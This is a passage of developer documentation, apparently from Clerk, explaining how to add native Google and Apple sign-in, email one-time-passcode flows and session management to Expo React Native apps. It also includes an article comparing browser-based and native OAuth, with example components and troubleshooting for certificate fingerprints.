import { useRouter } from 'expo-router'
import { useEffect } from 'react'
import { View, StyleSheet } from 'react-native'

export default function SignInScreen() {
  const { isSignedIn } = useAuth()
  const router = useRouter()

  useEffect(() => {
    if (isSignedIn) {
      router.replace('/(home)')
    }
  }, [isSignedIn])

  return (
    <View style={styles.container}>
      <AuthView mode="signInOrUp" />
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1 },
})
```

`AuthView` fills its parent container. Style the parent `View` to control size and position.

### Customizing the AuthView Appearance

Three modes are available:

- `signIn`: sign-in flows only
- `signUp`: sign-up flows only
- `signInOrUp`: auto-determines based on whether an account exists (default)

The `isDismissable` prop adds a dismiss button (defaults to `false`). Don't use `isDismissable` with React Native `<Modal>` as they conflict.

Which [social login](/glossary/social-login) providers appear is controlled entirely by your Clerk Dashboard configuration. Enable Google, Apple, or any other provider there, and AuthView picks it up automatically.

## Implementing Google Sign-In with the useSignInWithGoogle Hook

For full control over the UI, use the `useSignInWithGoogle` hook. This is the approach the complete app example uses.

### The Sign-In Screen Component

```tsx
// components/GoogleSignInButton.tsx
import { useSignInWithGoogle } from '@clerk/expo/google'
import { Alert, TouchableOpacity, Text, StyleSheet, Platform } from 'react-native'

export function GoogleSignInButton() {
  const { startGoogleAuthenticationFlow } = useSignInWithGoogle()

  if (Platform.OS === 'web') return null

  const handlePress = async () => {
    try {
      const { createdSessionId, setActive } = await startGoogleAuthenticationFlow()

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
      }
    } catch (err: any) {
      // User cancelled: don't show an error toast
      if (err?.code === 'SIGN_IN_CANCELLED' || err?.code === '-5') return

      Alert.alert('Sign-in error', err?.message ?? 'Something went wrong')
    }
  }

  return (
    <TouchableOpacity style={styles.button} onPress={handlePress}>
      <Text style={styles.text}>Continue with Google</Text>
    </TouchableOpacity>
  )
}

const styles = StyleSheet.create({
  button: {
    backgroundColor: '#4285F4',
    paddingVertical: 14,
    borderRadius: 8,
    alignItems: 'center',
  },
  text: { color: '#fff', fontSize: 16, fontWeight: '600' },
})
```

Import `useSignInWithGoogle` from `@clerk/expo/google` (not from `@clerk/expo` directly).

### Handling Sign-In Success and Errors

`startGoogleAuthenticationFlow()` returns:

- `createdSessionId`: the session ID if authentication succeeded
- `setActive`: function to activate the session
- `signIn` / `signUp`: the underlying Clerk objects (rarely needed)

On success, call `setActive({ session: createdSessionId })`. Clerk's token cache persists the session so the user stays signed in across app restarts.

**Transfer flow:** if someone signs in with Google but doesn't have a Clerk account, one is created automatically. If they sign up but already have an account, Clerk signs them in. No separate sign-in/sign-up screens needed for the Google flow.

**[Account linking](/glossary/account-linking):** if the user's Google email matches an existing Clerk account, accounts are linked automatically when both emails are verified.

### Triggering the Native Google Sign-In Flow

When the user taps the button:

- **Android:** A bottom sheet appears from Credential Manager showing the user's Google accounts. They tap one, and the flow completes. No browser opens.
- **iOS (with native config):** The `ASAuthorization` system credential picker appears. Same pattern: tap, done, no browser.
- **iOS (without native config):** Falls back to `ASWebAuthenticationSession`, which opens a system browser sheet.

The flow is managed entirely by the OS. Your app receives a session ID on success.

## Adding Email + OTP Authentication Alongside Google Sign-In

The complete app combines Google Sign-In with email [one-time passcode](/glossary/one-time-passcodes-email-sms) authentication on the same screen, with a visual separator between them.

### Building the Combined Sign-Up Screen

```tsx
// app/(auth)/sign-up.tsx
import { useState } from 'react'
import { View, Text, TextInput, TouchableOpacity, Alert, StyleSheet } from 'react-native'
import { useSignUp } from '@clerk/expo'
import { Link } from 'expo-router'
import { GoogleSignInButton } from '../../components/GoogleSignInButton'

export default function SignUpScreen() {
  const { signUp } = useSignUp()
  const [email, setEmail] = useState('')
  const [pendingVerification, setPendingVerification] = useState(false)
  const [code, setCode] = useState('')

  const handleEmailSignUp = async () => {
    try {
      await signUp.create({ emailAddress: email })
      await signUp.verifications.sendEmailCode()
      setPendingVerification(true)
    } catch (err: any) {
      Alert.alert('Error', err?.message ?? 'Could not create account')
    }
  }

  const handleVerify = async () => {
    try {
      await signUp.verifications.verifyEmailCode({ code })

      if (signUp.status === 'complete') {
        await signUp.finalize()
      }
    } catch (err: any) {
      Alert.alert('Verification failed', err?.message ?? 'Invalid code')
    }
  }

  if (pendingVerification) {
    return (
      <View style={styles.container}>
        <Text style={styles.title}>Verify your email</Text>
        <Text style={styles.subtitle}>We sent a code to {email}</Text>
        <TextInput
          value={code}
          onChangeText={setCode}
          placeholder="Enter 6-digit code"
          keyboardType="number-pad"
          maxLength={6}
          style={styles.input}
        />
        <TouchableOpacity style={styles.primaryButton} onPress={handleVerify}>
          <Text style={styles.primaryButtonText}>Verify</Text>
        </TouchableOpacity>
      </View>
    )
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Create an account</Text>

      <GoogleSignInButton />

      <View style={styles.divider}>
        <View style={styles.dividerLine} />
        <Text style={styles.dividerText}>or</Text>
        <View style={styles.dividerLine} />
      </View>

      <TextInput
        value={email}
        onChangeText={setEmail}
        placeholder="Email address"
        autoCapitalize="none"
        keyboardType="email-address"
        style={styles.input}
      />

      <TouchableOpacity style={styles.primaryButton} onPress={handleEmailSignUp}>
        <Text style={styles.primaryButtonText}>Send code</Text>
      </TouchableOpacity>

      <Link href="/(auth)/sign-in" asChild>
        <TouchableOpacity style={styles.linkButton}>
          <Text style={styles.linkText}>Already have an account? Sign in</Text>
        </TouchableOpacity>
      </Link>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, justifyContent: 'center', padding: 24 },
  title: { fontSize: 28, fontWeight: 'bold', marginBottom: 24 },
  subtitle: { fontSize: 14, color: '#666', marginBottom: 16 },
  input: {
    borderWidth: 1,
    borderColor: '#ddd',
    padding: 14,
    borderRadius: 8,
    fontSize: 16,
    marginBottom: 16,
  },
  primaryButton: {
    backgroundColor: '#000',
    paddingVertical: 14,
    borderRadius: 8,
    alignItems: 'center',
    marginBottom: 12,
  },
  primaryButtonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
  divider: {
    flexDirection: 'row',
    alignItems: 'center',
    marginVertical: 20,
  },
  dividerLine: { flex: 1, height: 1, backgroundColor: '#ddd' },
  dividerText: { marginHorizontal: 12, color: '#999', fontSize: 14 },
  linkButton: { alignItems: 'center', marginTop: 8 },
  linkText: { color: '#666', fontSize: 14 },
})
```

### Building the Combined Sign-In Screen

```tsx
// app/(auth)/sign-in.tsx
import { useState } from 'react'
import { View, Text, TextInput, TouchableOpacity, Alert, StyleSheet } from 'react-native'
import { useSignIn } from '@clerk/expo'
import { Link } from 'expo-router'
import { GoogleSignInButton } from '../../components/GoogleSignInButton'

export default function SignInScreen() {
  const { signIn } = useSignIn()
  const [email, setEmail] = useState('')
  const [pendingVerification, setPendingVerification] = useState(false)
  const [code, setCode] = useState('')

  const handleEmailSignIn = async () => {
    try {
      await signIn.emailCode.sendCode({ emailAddress: email })
      setPendingVerification(true)
    } catch (err: any) {
      Alert.alert('Error', err?.message ?? 'Could not send code')
    }
  }

  const handleVerify = async () => {
    try {
      await signIn.emailCode.verifyCode({ code })

      if (signIn.status === 'complete') {
        await signIn.finalize()
      } else if (signIn.status === 'needs_second_factor') {
        // Handle MFA if enabled. See:
        // /docs/guides/development/custom-flows/authentication/email-sms-otp
        Alert.alert('MFA required', 'Complete second factor authentication')
      }
    } catch (err: any) {
      Alert.alert('Verification failed', err?.message ?? 'Invalid code')
    }
  }

  if (pendingVerification) {
    return (
      <View style={styles.container}>
        <Text style={styles.title}>Check your email</Text>
        <Text style={styles.subtitle}>We sent a code to {email}</Text>
        <TextInput
          value={code}
          onChangeText={setCode}
          placeholder="Enter 6-digit code"
          keyboardType="number-pad"
          maxLength={6}
          style={styles.input}
        />
        <TouchableOpacity style={styles.primaryButton} onPress={handleVerify}>
          <Text style={styles.primaryButtonText}>Verify</Text>
        </TouchableOpacity>
      </View>
    )
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Sign in</Text>

      <GoogleSignInButton />

      <View style={styles.divider}>
        <View style={styles.dividerLine} />
        <Text style={styles.dividerText}>or</Text>
        <View style={styles.dividerLine} />
      </View>

      <TextInput
        value={email}
        onChangeText={setEmail}
        placeholder="Email address"
        autoCapitalize="none"
        keyboardType="email-address"
        style={styles.input}
      />

      <TouchableOpacity style={styles.primaryButton} onPress={handleEmailSignIn}>
        <Text style={styles.primaryButtonText}>Send code</Text>
      </TouchableOpacity>

      <Link href="/(auth)/sign-up" asChild>
        <TouchableOpacity style={styles.linkButton}>
          <Text style={styles.linkText}>Don't have an account? Sign up</Text>
        </TouchableOpacity>
      </Link>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, justifyContent: 'center', padding: 24 },
  title: { fontSize: 28, fontWeight: 'bold', marginBottom: 24 },
  subtitle: { fontSize: 14, color: '#666', marginBottom: 16 },
  input: {
    borderWidth: 1,
    borderColor: '#ddd',
    padding: 14,
    borderRadius: 8,
    fontSize: 16,
    marginBottom: 16,
  },
  primaryButton: {
    backgroundColor: '#000',
    paddingVertical: 14,
    borderRadius: 8,
    alignItems: 'center',
    marginBottom: 12,
  },
  primaryButtonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
  divider: {
    flexDirection: 'row',
    alignItems: 'center',
    marginVertical: 20,
  },
  dividerLine: { flex: 1, height: 1, backgroundColor: '#ddd' },
  dividerText: { marginHorizontal: 12, color: '#999', fontSize: 14 },
  linkButton: { alignItems: 'center', marginTop: 8 },
  linkText: { color: '#666', fontSize: 14 },
})
```

> \[!TIP]
> The Google Sign-In button handles both sign-in and sign-up via Clerk's transfer flow. A user tapping "Continue with Google" on either screen gets the right outcome automatically.

### Verifying the OTP Code

Both screens use inline verification. After `signIn.emailCode.verifyCode()` or `signUp.verifications.verifyEmailCode()` succeeds, call `finalize()` to activate the session. The `<Show>` components in the layouts detect the auth state change and redirect automatically.

For production, handle non-happy-path status values like `needs_second_factor` (MFA enabled) and `needs_client_trust`. See the [Email/SMS OTP Custom Flow](/docs/guides/development/custom-flows/authentication/email-sms-otp) docs for the complete set of status codes.

## Managing Sessions, the User Profile, and Sign-Out

### Checking Authentication State

```tsx
// app/(auth)/_layout.tsx
import { Show } from '@clerk/expo'
import { Redirect, Slot } from 'expo-router'

export default function AuthLayout() {
  return (
    <Show when="signed-out" fallback={<Redirect href="/(home)" />}>
      <Slot />
    </Show>
  )
}
```

```tsx
// app/(home)/_layout.tsx
import { Show } from '@clerk/expo'
import { Redirect, Slot } from 'expo-router'

export default function HomeLayout() {
  return (
    <Show when="signed-in" fallback={<Redirect href="/(auth)/sign-in" />}>
      <Slot />
    </Show>
  )
}
```

The `<Show>` component from `@clerk/expo` replaces the older `<SignedIn>` / `<SignedOut>` components. Use `when="signed-in"` or `when="signed-out"` to conditionally render based on auth state.

### The Native UserButton and UserProfile Components

```tsx
// app/(home)/index.tsx
import { View, Text, StyleSheet } from 'react-native'
import { Show } from '@clerk/expo'
import { UserButton } from '@clerk/expo/native'
import { useUser } from '@clerk/expo'

export default function HomeScreen() {
  const { user } = useUser()

  return (
    <Show when="signed-in">
      <View style={styles.container}>
        <View style={styles.header}>
          <Text style={styles.greeting}>Welcome, {user?.firstName ?? 'there'}</Text>
          <View style={styles.avatar}>
            <UserButton />
          </View>
        </View>
        <Text style={styles.email}>{user?.primaryEmailAddress?.emailAddress}</Text>
      </View>
    </Show>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, padding: 24, paddingTop: 80 },
  header: { flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center' },
  greeting: { fontSize: 24, fontWeight: 'bold' },
  avatar: { width: 44, height: 44, borderRadius: 22, overflow: 'hidden' },
  email: { fontSize: 14, color: '#666', marginTop: 8 },
})
```

`useAuth()` returns `isSignedIn`, `userId`, `sessionId`, and `getToken`. `useUser()` returns the full user object with `user.firstName`, `user.primaryEmailAddress`, `user.imageUrl`, and more.

`<UserButton />` from `@clerk/expo/native` renders the user's avatar. Tapping it opens a native profile modal powered by `<UserProfileView />`. Sign-out is handled automatically and synced with the JS SDK. The component takes no props; control size and shape through the parent `View`.

For more control, use the `useUserProfileModal()` hook:

```tsx
import { useUserProfileModal } from '@clerk/expo'

const { presentUserProfile, isAvailable } = useUserProfileModal()

// Open the profile modal programmatically
if (isAvailable) {
  await presentUserProfile()
}
```

### Signing Out Correctly

```tsx
import { useClerk } from '@clerk/expo'
import { useRouter } from 'expo-router'

export function SignOutButton() {
  const { signOut } = useClerk()
  const router = useRouter()

  const handleSignOut = async () => {
    await signOut()
    router.replace('/(auth)/sign-in')
  }

  return (
    <TouchableOpacity onPress={handleSignOut}>
      <Text>Sign out</Text>
    </TouchableOpacity>
  )
}
```

`signOut()` clears the session and the token cache. If you're using `<UserButton />`, sign-out is built in and syncs automatically with the JS SDK.

## Error Handling Reference

### Android Error Code 10: SHA-1 Fingerprint Mismatch

The most common error. Surfaces as `DEVELOPER_ERROR with code 10`. The Google sign-in dialog appears but immediately fails.

**Root cause:** SHA-1 registered in Google Cloud Console doesn't match the keystore that signed the current build.

**Three different SHA-1 values to manage:**

1. **Debug keystore** (local `npx expo run:android`):

```bash
keytool -list -v -keystore ~/.android/debug.keystore -alias androiddebugkey -storepass android
```

2. **EAS managed keystore** (cloud builds):

```bash
eas credentials --platform android
```

3. **Google Play App Signing key** (production): found in Play Console \u003e **Release** \u003e **Setup** \u003e **App Integrity**.

Each needs its own Android OAuth Client ID in Google Cloud Console.

**Also check:** the `webClientId` environment variable must reference the **Web Application** type Client ID, not the Android one.

### iOS: "The operation could not be completed"

Usually a configuration mismatch:

- `EXPO_PUBLIC_CLERK_GOOGLE_IOS_CLIENT_ID` doesn't match the Google Cloud Console iOS Client ID
- `ios.bundleIdentifier` in `app.config.ts` doesn't match what's registered in Google Cloud Console
- `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` isn't set (or isn't the reversed client ID format, e.g., `com.googleusercontent.apps.123456`)

### Expo Go Limitations with Native Sign-In

`useSignInWithGoogle()` and `<AuthView />` won't work in Expo Go. The TurboModule `NativeClerkGoogleSignIn` isn't available.

Use a development build (`npx expo run:ios`) or EAS Build (`eas build --profile development`). JS-only email flows via `useSignIn`/`useSignUp` work in Expo Go for testing other parts of the app.

### Deep Link and Bundle Identifier Issues

For Clerk's native Google flow, the main iOS pitfall is the Google callback URL scheme and native app identifiers, not a custom Expo redirect URI.

Common mistakes:

- Bundle ID or package name in `app.config.ts` doesn't match Google Cloud Console and Clerk Dashboard entries
- The iOS URL scheme doesn't match the reversed client ID
- Forgetting to register Native Applications in the Clerk Dashboard (Team ID + Bundle ID for iOS, package name + SHA-256 for Android)

## Platform-Specific Configuration

### iOS: Info.plist and URL Schemes

The `@clerk/expo` config plugin handles iOS configuration automatically:

- Injects the iOS URL scheme from `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME`
- Sets the deployment target to iOS 17.0
- Adds the clerk-ios SPM package
- Includes the Apple Privacy Manifest (required since May 1, 2024)

No manual `Info.plist` editing required.

### Android: Credential Manager

Key differences from Firebase/Supabase approaches:

- **No `google-services.json` required.** Clerk doesn't use Firebase for authentication.
- SHA-1 is required in Google Cloud Console for the Android OAuth Client ID. SHA-256 is required in the Clerk Dashboard's Native Applications page. Both come from `keytool -list -v`.
- Credential Manager requires Google Play Services. Your emulator must include the Google Play Store image.
- Supports Android 4.4+ for passwords, Android 9+ for passkeys.

## EAS Build Configuration for Native Google Sign-In

```json
{
  "cli": {
    "version": ">= 14.0.0"
  },
  "build": {
    "development": {
      "developmentClient": true,
      "distribution": "internal",
      "env": {
        "EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY": "pk_test_..."
      }
    },
    "preview": {
      "distribution": "internal"
    },
    "production": {
      "autoIncrement": true
    }
  }
}
```

### Development Builds

```bash
eas build --profile development --platform ios
```

Set `developmentClient: true` and `distribution: "internal"`. Environment variables can be set per profile or in the EAS Dashboard.

### Preview and Production Builds

For production, the most common Google Sign-In failure is SHA-1 mismatch:

- Google Play App Signing uses an **app signing key** that's different from the **upload key**
- Both need their own Android OAuth Client IDs in Google Cloud Console

> \[!IMPORTANT]
> Production Expo apps still need a domain on the Clerk production instance, even if there's no traditional web frontend. See the [Expo Deployment Guide](/docs/guides/development/deployment/expo) for details.

## Migrating from Browser-Based Google OAuth

### From expo-auth-session

**Remove:** `useAuthRequest`, Google provider imports, redirect URI config, `makeRedirectUri`, `promptAsync`.

**Keep:** `expo-auth-session` and `expo-web-browser` (peer dependencies of `@clerk/expo`).

**Add:** `@clerk/expo`, `expo-secure-store`, `expo-dev-client`, and `expo-crypto` (hook approach only).

**Replace:** `useAuthRequest` and the entire OAuth flow with `useSignInWithGoogle` or `<AuthView />`. The native flow is one function call: `startGoogleAuthenticationFlow()`. No `discovery` object, no `makeRedirectUri`, no `promptAsync`.

### From @react-native-google-signin/google-signin

**Remove:** `@react-native-google-signin/google-signin`, `GoogleSignin.configure()`, `GoogleSignin.signIn()`, manual token extraction, `GoogleSignin.hasPlayServices()`.

**Remove (if only used for Google auth):** `google-services.json`, `GoogleService-Info.plist`, Firebase config. If you use Firebase for other features, keep these files.

**Add:** `@clerk/expo`, configure Clerk Dashboard with your existing Google Cloud credentials.

**Benefits of switching:**

- No separate Google Sign-In library needed
- No `google-services.json` or `GoogleService-Info.plist` config files (unless Firebase is needed for other features)
- Session management, user profiles, and sign-out are built in
- Credential Manager support included (the standalone library [gates this behind a paid tier](https://react-native-google-signin.github.io/))

> \[!NOTE]
> **Import path change from Core 2 to Core 3:** The package renamed from `@clerk/clerk-expo` to `@clerk/expo`. Hooks import from `@clerk/expo/google`, native components from `@clerk/expo/native`.

## Clerk vs. Other Expo Authentication Solutions

| If you want...                            | Best fit                      | Why                                                                     |
| ----------------------------------------- | ----------------------------- | ----------------------------------------------------------------------- |
| Browser-based OAuth that works in Expo Go | `expo-auth-session`           | No native build required, but you keep redirect complexity              |
| Full DIY native Google Sign-In            | `@react-native-google-signin` | Native provider control, but you still own session management           |
| Native Google Sign-In plus managed auth   | **Clerk**                     | Native provider flow plus Clerk-managed sessions, users, and profile UI |

Clerk's advantage isn't just the native Google UI. It's that the token exchange, session creation, session refresh, and user management happen automatically. The other approaches give you a Google ID token and leave the rest to you.

## Key Takeaways

- **Native Google Sign-In in Expo doesn't need a browser.** Clerk uses Credential Manager on Android (always native) and `ASAuthorization` on iOS (when `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` is configured). Without the iOS URL scheme, iOS falls back to a system browser sheet.
- **Two approaches: `<AuthView />` for zero-code auth, `useSignInWithGoogle` for custom UI.** Both use the same native flow under the hood.
- **Certificate fingerprint management is the hardest part.** Debug, EAS, and production builds each have different fingerprints. Register SHA-1 in Google Cloud Console and SHA-256 in the Clerk Dashboard for each.
- **Expo Go can't run native sign-in.** Use development builds from the start.
- **Clerk handles the full auth lifecycle.** Sign-in, sign-up, transfer flow, session management, user profiles, and sign-out are included.

Get started: [Expo Quickstart](/docs/expo/getting-started/quickstart) | [Sign in with Google Guide](/docs/expo/guides/configure/auth-strategies/sign-in-with-google) | [clerk-expo-quickstart examples](https://github.com/clerk/clerk-expo-quickstart)

## Frequently Asked Questions

---

# Native vs. Browser OAuth in Expo
URL: https://clerk.com/articles/native-vs-browser-oauth-in-expo-a-decision-guide-for-social-login.md
Date: 2026-04-02
Description: Compare browser-based and native OAuth approaches for Expo social login. Covers Google Sign-In, Apple Sign-In, passkeys, Credential Manager, ASAuthorization, and provider comparison with code examples.

Native [OAuth](/glossary#authorization-code-flow) uses platform SDKs like Google's [Credential Manager](/glossary#credential-management-api) and Apple's `ASAuthorization` to authenticate users without leaving the app, while browser OAuth redirects users to a system browser via `expo-auth-session`. Native OAuth delivers better conversion rates and supports [passkeys](/glossary#passkeys), but requires per-provider native configuration. Browser OAuth is simpler to set up but suffers from redirect failures — one [Expo](/glossary#expo) team with 50,000+ users reported roughly 30% of Android sign-in attempts returned a `DISMISS` result ([Expo GitHub Issue #23781, 2024](https://github.com/expo/expo/issues/23781)).

Industry surveys suggest around 77% of users prefer signing in with existing accounts ([LoginRadius Infographic, 2024](https://www.loginradius.com/blog/identity/social-login-infographic)), and desktop converts at roughly 4.8% versus 2.9% on mobile, with auth friction contributing to that gap ([Corbado, 2026](https://www.corbado.com/blog/logins-impact-checkout-conversion)). This guide walks through both architectures with working code, compares the tradeoffs, and covers the platform requirements that shape your decision.

## How browser-based OAuth works in Expo

The browser OAuth flow follows a predictable sequence:

1. User taps "Sign in with Google" in your app.
2. Your app opens a system browser tab (via `expo-web-browser`).
3. The browser loads the provider's consent screen.
4. User authenticates and grants permissions.
5. The provider redirects to your app's deep link (e.g., `myapp://dashboard`).
6. `expo-web-browser` catches the redirect and passes data back.
7. Your app creates a session from the returned tokens.

Here's what that looks like with Clerk's `useSSO` hook:

```tsx
// components/BrowserGoogleSignIn.tsx
import React from 'react'
import * as WebBrowser from 'expo-web-browser'
import * as Linking from 'expo-linking'
import { useSSO } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { Pressable, StyleSheet, Text, View } from 'react-native'

const useWarmUpBrowser = () => {
  React.useEffect(() => {
    void WebBrowser.warmUpAsync()
    return () => {
      void WebBrowser.coolDownAsync()
    }
  }, [])
}

WebBrowser.maybeCompleteAuthSession()

export function BrowserGoogleSignIn() {
  useWarmUpBrowser()
  const { startSSOFlow } = useSSO()
  const router = useRouter()

  const handleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startSSOFlow({
        strategy: 'oauth_google',
        redirectUrl: Linking.createURL('/dashboard', { scheme: 'myapp' }),
      })
      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (err) {
      console.error('Browser OAuth error:', JSON.stringify(err, null, 2))
    }
  }

  return (
    <View>
      <Pressable style={styles.button} onPress={handleSignIn}>
        <Text style={styles.text}>Sign in with Google</Text>
      </Pressable>
    </View>
  )
}

const styles = StyleSheet.create({
  button: {
    backgroundColor: '#4285F4',
    padding: 14,
    borderRadius: 8,
    alignItems: 'center',
  },
  text: { color: '#fff', fontWeight: '600', fontSize: 16 },
})
```

The `useWarmUpBrowser` hook pre-loads the browser on Android for a snappier open. `WebBrowser.maybeCompleteAuthSession()` handles the redirect when the app resumes.

Several libraries support this pattern. `expo-auth-session` provides low-level OAuth utilities. `react-native-app-auth` wraps AppAuth for both platforms. [Auth0's React Native SDK](https://auth0.com/docs/quickstart/native/react-native-expo) uses browser-only OAuth. [Amplify/Cognito](https://docs.amplify.aws/gen1/react-native/build-a-backend/auth/add-social-provider/) routes through a Hosted UI in the browser. [Descope](https://www.descope.com/blog/post/expo-authentication) uses browser-based OIDC for Expo as well.

### Where browser OAuth shines

**Standards-based.** It works with any OAuth 2.0 provider. If the provider supports web login, it works.

**Simpler initial setup.** No native module configuration, no config plugins, no platform-specific client IDs. You can prototype in Expo Go (though Expo's own docs [warn against relying on it](https://docs.expo.dev/guides/authentication/) for production OAuth).

**Provider-agnostic.** One pattern covers Google, GitHub, Discord, Notion, whatever. Same code shape for all of them.

### Where browser OAuth breaks

The pain points here aren't theoretical. They're documented.

**SDK 53 breakage.** Expo SDK 53 broke browser-based Google OAuth. An Expo maintainer stated plainly: "we no longer maintain any libraries to support google auth" ([Expo GitHub Issue #38666, 2025](https://github.com/expo/expo/issues/38666)). The recommended fix was migrating to native sign-in. Expo's own Google authentication guide now points developers to `@react-native-google-signin/google-signin` instead of `expo-auth-session` ([Expo Google Authentication Guide](https://docs.expo.dev/guides/google-authentication/)).

**The Android DISMISS bug.** As mentioned, one team reported \~30% of Android sign-in attempts returning `DISMISS`. The issue remains open ([Expo GitHub Issue #23781, 2024](https://github.com/expo/expo/issues/23781)). A conversion killer, plain and simple.

**Deep link fragility.** Android's intent system, iOS Universal Links, custom URL schemes: each has its own failure modes. A misconfigured `assetlinks.json` or `apple-app-site-association` file silently swallows redirects.

**UX friction.** iOS shows a system prompt asking whether to open the browser. Users see a flash of Safari. The whole thing feels like leaving the app, because they are.

## How native OAuth works in Expo

Native OAuth replaces the browser redirect with platform APIs. The flow is shorter and stays inside your app:

1. User taps "Sign in with Google."
2. The app calls the platform's native authentication API.
3. Android: Credential Manager displays an account picker. iOS: `ASAuthorization` presents a native sheet.
4. User selects an account (often with [biometric confirmation](/glossary#biometric-authentication)).
5. The platform returns an ID token directly to the app.
6. Your app exchanges the token for a session.

No browser. No redirect. No deep links to debug.

### Native Google Sign-In

On Android, this goes through Credential Manager. On iOS, it uses Google's native SDK (which wraps `ASAuthorization` under the hood).

Here's native Google Sign-In with Clerk:

```tsx
// components/NativeGoogleSignIn.tsx
import { useSignInWithGoogle } from '@clerk/expo/google'
import { useRouter } from 'expo-router'
import { Alert, Platform, Pressable, StyleSheet, Text } from 'react-native'

export function NativeGoogleSignIn() {
  const { startGoogleAuthenticationFlow } = useSignInWithGoogle()
  const router = useRouter()

  if (Platform.OS !== 'ios' && Platform.OS !== 'android') return null

  const handleGoogleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startGoogleAuthenticationFlow()
      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (err: any) {
      if (err.code === 'SIGN_IN_CANCELLED' || err.code === '-5') return
      Alert.alert('Error', err.message || 'Google Sign-In failed')
    }
  }

  return (
    <Pressable style={styles.button} onPress={handleGoogleSignIn}>
      <Text style={styles.text}>Sign in with Google</Text>
    </Pressable>
  )
}

const styles = StyleSheet.create({
  button: {
    backgroundColor: '#4285F4',
    padding: 14,
    borderRadius: 8,
    alignItems: 'center',
  },
  text: { color: '#fff', fontWeight: '600', fontSize: 16 },
})
```

The `useSignInWithGoogle` hook handles all the platform wiring. No `expo-web-browser`, no `expo-linking`, no redirect URL construction.

### Native Apple Sign-In

Apple Sign-In is native on iOS (Face ID bottom sheet) but falls back to browser OAuth on Android. Here's a component that handles both:

```tsx
// components/NativeAppleSignIn.tsx
import { useSignInWithApple } from '@clerk/expo/apple'
import { useSSO } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { Alert, Platform, Pressable, StyleSheet, Text } from 'react-native'

export function NativeAppleSignIn() {
  const { startAppleAuthenticationFlow } = useSignInWithApple()
  const { startSSOFlow } = useSSO()
  const router = useRouter()

  const handleAppleSignIn = async () => {
    try {
      if (Platform.OS === 'ios') {
        const { createdSessionId, setActive } = await startAppleAuthenticationFlow()
        if (createdSessionId && setActive) {
          await setActive({ session: createdSessionId })
          router.replace('/')
        }
      } else {
        const { createdSessionId, setActive } = await startSSOFlow({
          strategy: 'oauth_apple',
        })
        if (createdSessionId && setActive) {
          await setActive({ session: createdSessionId })
          router.replace('/')
        }
      }
    } catch (err: any) {
      if (err?.message?.includes('ERR_REQUEST_CANCELED')) return
      if (err?.code === 'ERR_CANCELED') return
      Alert.alert('Error', err.message || 'Apple Sign-In failed')
    }
  }

  return (
    <Pressable style={styles.button} onPress={handleAppleSignIn}>
      <Text style={styles.text}>Continue with Apple</Text>
    </Pressable>
  )
}

const styles = StyleSheet.create({
  button: {
    backgroundColor: '#000',
    padding: 14,
    borderRadius: 8,
    alignItems: 'center',
  },
  text: { color: '#fff', fontWeight: '600', fontSize: 16 },
})
```

Platform detection routes iOS to the native `ASAuthorization` sheet and Android to browser-based OAuth. Your users don't know or care about the difference.

### Native library options

Going native means picking how much you want to assemble yourself.

**DIY multi-library approach.** You can wire `@react-native-google-signin/google-signin` (the Credential Manager version is [paywalled behind a sponsor license](https://react-native-google-signin.github.io/docs/install)), `expo-apple-authentication`, and `expo-crypto` together manually. It works. It's a lot of plumbing.

**Supabase** supports native Apple and Google, but you're wiring 3+ packages together yourself ([Apple guide](https://supabase.com/docs/guides/auth/social-login/auth-apple), [Google guide](https://supabase.com/docs/guides/auth/social-login/auth-google)).

**Firebase** has a similar story. `@react-native-firebase/auth` handles the token exchange, but you're still configuring native modules individually ([Firebase social auth docs](https://rnfirebase.io/auth/social-auth)).

**Stytch** offers a React Native SDK with native Google (Android via Credential Manager) and Apple (iOS) support, but it doesn't include an Expo config plugin and doesn't support native Google Sign-In on iOS ([Stytch Mobile SDKs](https://stytch.com/docs/mobile-sdks)).

**Clerk** bundles native Google and Apple into a single package with an Expo config plugin. `useSignInWithGoogle` and `useSignInWithApple` handle platform detection and token exchange. AuthView (currently in beta) goes further, rendering a complete sign-in UI with native providers built in. ([Native Google docs](/docs/reference/expo/native-hooks/use-sign-in-with-google), [Native Apple docs](/docs/reference/expo/native-hooks/use-sign-in-with-apple))

> \[!NOTE]
> Clerk's AuthView for Expo is currently in beta. It provides a pre-built sign-in/sign-up UI with native provider support, but the API may change before stable release.

### Where native OAuth shines

**No redirect chain.** The entire flow happens inside your app. No deep links to misconfigure, no `DISMISS` race conditions, no "Open in Safari?" prompts. Redirect-related failure modes don't apply because there's no redirect.

**Faster.** Credential Manager on Android often auto-selects the user's Google account, skipping the consent screen entirely. Fewer steps, fewer network round-trips.

**Platform-native feel.** The account picker and biometric prompts look like they belong. Because they do.

### The passkey bridge

Here's where native gets interesting beyond just OAuth. The same platform APIs that power native sign-in also power [passkeys](/glossary#passkeys).

Android's Credential Manager is a single API surface for both Google Sign-In *and* passkeys ([Android Credential Manager docs](https://developer.android.com/identity/sign-in/credential-manager-siwg)). iOS's `ASAuthorizationController` handles Apple Sign-In *and* passkeys through the same framework ([Apple ASAuthorizationController docs](https://developer.apple.com/documentation/authenticationservices/asauthorizationcontroller)). Apple's iOS 26 Account Creation API pushes this further, unifying account creation and passkey enrollment ([WWDC 2025, Session 279](https://developer.apple.com/videos/play/wwdc2025/279/)).

